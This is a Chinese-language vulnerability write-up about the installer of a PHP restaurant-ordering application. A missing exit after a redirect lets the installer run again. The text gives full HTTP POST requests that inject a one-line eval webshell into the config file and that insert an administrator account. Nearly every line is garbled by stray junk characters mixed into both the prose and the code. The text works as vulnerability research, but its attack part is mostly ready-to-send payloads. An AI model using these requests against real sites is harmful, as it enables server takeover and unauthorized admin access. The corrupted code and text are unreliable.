问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。+ m4 S$ Z7 p7 d$ e
+ @! Y4 B4 h6 }' c, v% }6 D
<?php0 j4 A; E# ~2 R# a8 O
if(file_exists("../install.lock"))
: ?. c5 g) P3 M, d* e! E{. t2 u" M$ I: E2 h5 U% i ]
header("Location: ../");//没有退出
% V7 G+ K% b9 X' m: I}1 L2 J" `/ Y5 X8 C
4 X4 Y$ Y* J# [% \
//echo 'tst';exit;
( U, V v% I+ Irequire_once("init.php");0 s' n. W# R. P$ L
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
! L$ _( u% T; F/ l$ I' J w+ x. _{: ^3 M: S$ ^9 Y& r- a) s. }! T
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
# B! [; a9 @0 L: r
. y2 J3 c# n1 U; ^6 \% C# a' W1、getshell(很危险) ^! a4 q6 H6 R
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)+ o" C [7 U" O4 L6 ^3 k7 d7 i; J
{
; l+ i$ F; t3 D/ o" v$smarty->assign("step",1);( }% q, Q' g( c
$smarty->display("index.html");
4 v& t9 B! I+ @( f6 Q# T3 A+ B# Y2 s}elseif($_REQUEST['step']==2)
; W y6 F9 j% D# C+ t k{0 n$ L9 B. x& [; g. j8 Y$ Y, m* z
$mysql_host=trim($_POST['mysql_host']);6 h4 ^5 e6 D" Y( K
$mysql_user=trim($_POST['mysql_user']);
3 D7 _) Z+ V1 v $mysql_pwd=trim($_POST['mysql_pwd']);/ ^1 h. z( s" Y! {
$mysql_db=trim($_POST['mysql_db']);0 F+ p6 H, J& Y9 M" C' u, M, \3 e# m
$tblpre=trim($_POST['tblpre']);
3 B9 m# }% z2 C3 p9 M1 x $domain==trim($_POST['domain']);
M% S, {3 M0 l/ U $str="<?php \r\n";
8 n e7 s) n b. _$ s7 ~ $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
+ ]2 w( M1 q- \% ~# e6 H; _ $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";" _7 O* f$ {+ v2 p" A
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";' u# m- A! X5 C- W' k
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
^5 b+ R+ ^7 R# x$ b $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
( W1 v% }% z+ T6 O $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";, L5 F, J6 }4 G7 H- R3 Q( G- m6 Z/ n
$str.='define("DOMAIN","'.$domain.'");'."\r\n";+ b9 v8 |* B9 S* b$ D
$str.='define("SKINS","default");'."\r\n";0 S' @; a: J1 [
$str.='?>';
/ z1 ^" k, p0 k file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件3 g/ b: V/ ~+ w1 L
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
2 \/ M$ o7 O |$ l4 G; hPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
0 l8 `2 k" E2 _. {Host: 192.168.80.1292 S+ p6 B ?$ c/ O- y) C0 L
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
4 ~/ \6 ]0 P _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
' l! B, K9 v' w/ g% f# Q1 zAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
v- b$ Z( Z) H9 X3 MAccept-Encoding: gzip, deflate
: J' B) I! ?% g1 IReferer: http://192.168.80.129/canting/install/index.php?step=1
8 z0 U. g; O! i! ^1 QCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
4 D! \" O! m( h0 S+ bContent-Type: application/x-www-form-urlencoded- }2 a. y8 b* e: c. g5 H. p
Content-Length: 126( C2 Y z" P5 h g+ e
' ^/ z0 i W' Z X( gmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD# ]2 F- ]) U) _( ^
但是这个方法很危险,将导致网站无法运行。
: x/ g! \4 R9 X9 v4 x
# H8 U8 Y7 F* q& h4 ` @9 H2、直接添加管理员; ]" o: v! K; \! V! u
7 [) {* y& s9 m/ V1 ~! A2 Zelseif($_REQUEST['step']==5)0 |( ~6 [5 l) T8 S5 {
{. K) \, x) ?6 p4 N
if($_POST)) H* _0 L/ U3 r0 V) v3 y) P4 N
{ require_once("../config/config.inc.php");
! }* X) W- K$ p% |3 M t$ w- ?0 R& R $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);9 ?6 r: c& F" Y2 w+ o: I+ j2 c
mysql_select_db(MYSQL_DB,$link);: ?5 N5 o9 n- G9 x1 z8 I
mysql_query("SET NAMES ".MYSQL_CHARSET );( z1 U' b" D1 d% r' w! [# E* ]. n
mysql_query("SET sql_mode=''");1 x) Y2 a8 i% {0 ]- v
7 N! e; K& `- \
$adminname=trim($_POST['adminname']);
! i& C: t- r/ ] $pwd1=trim($_POST['pwd1']);
0 V( y) e. @" P! c $pwd2=trim($_POST['pwd2']);) \6 g, M7 U; T: D% V }- Z+ |1 Z
if(empty($adminname))
3 j) Q& T- N3 L* y' C1 | {
: a! ?7 f) H7 ^7 \% L/ V | R
8 I! y( |0 M: B; z- @5 j* K echo "<script>alert('管理员不能为空');history.go(-1);</script>";! Q9 B! R1 m$ G8 `
exit(); t! Q+ D# E! y( u2 w" `4 a4 J
}
9 ] f% G4 b& @2 c+ [# |8 o$ ]4 w% u if(($pwd1!=$pwd2) or empty($pwd1)); N8 {* O" f. w% ?' q$ H
{7 E. m" s5 R3 t
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出/ B, d; Q8 X" Q
}
" I4 w) m4 o2 A2 o0 u* R mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员2 {/ x' T4 V) x6 j9 O
}2 f0 e. ~4 @; D, n
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:# }* d& ^7 D6 q0 }
POST /canting/install/index.php?m=index&step=5 HTTP/1.14 f9 a& j/ Z* q
Host: 192.168.80.129
$ Z3 L4 V! m2 |4 p( c! Y0 eUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
% K9 H, x2 a' cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8; p- M: u8 H% k$ v5 H A1 o
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
, Q) }, a, Q/ vAccept-Encoding: gzip, deflate# n5 k) Z$ ^: @& n4 d8 q# ?
Referer: http://www.2cto.com /canting/install/index.php?step=13 H2 P" T) @. n( T0 R& h. c/ D# G
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42& F! C, M2 s1 n
Content-Type: application/x-www-form-urlencoded
- Z9 | w7 I/ L' @+ @+ A; pContent-Length: 46
9 o; F# N- Y$ V: v
+ X5 P6 `; ?$ d, C g' o( J/ Aadminname=qingshen&pwd1=qingshen&pwd2=qingshen
$ G0 l% K: Q1 o2 w0 z8 b |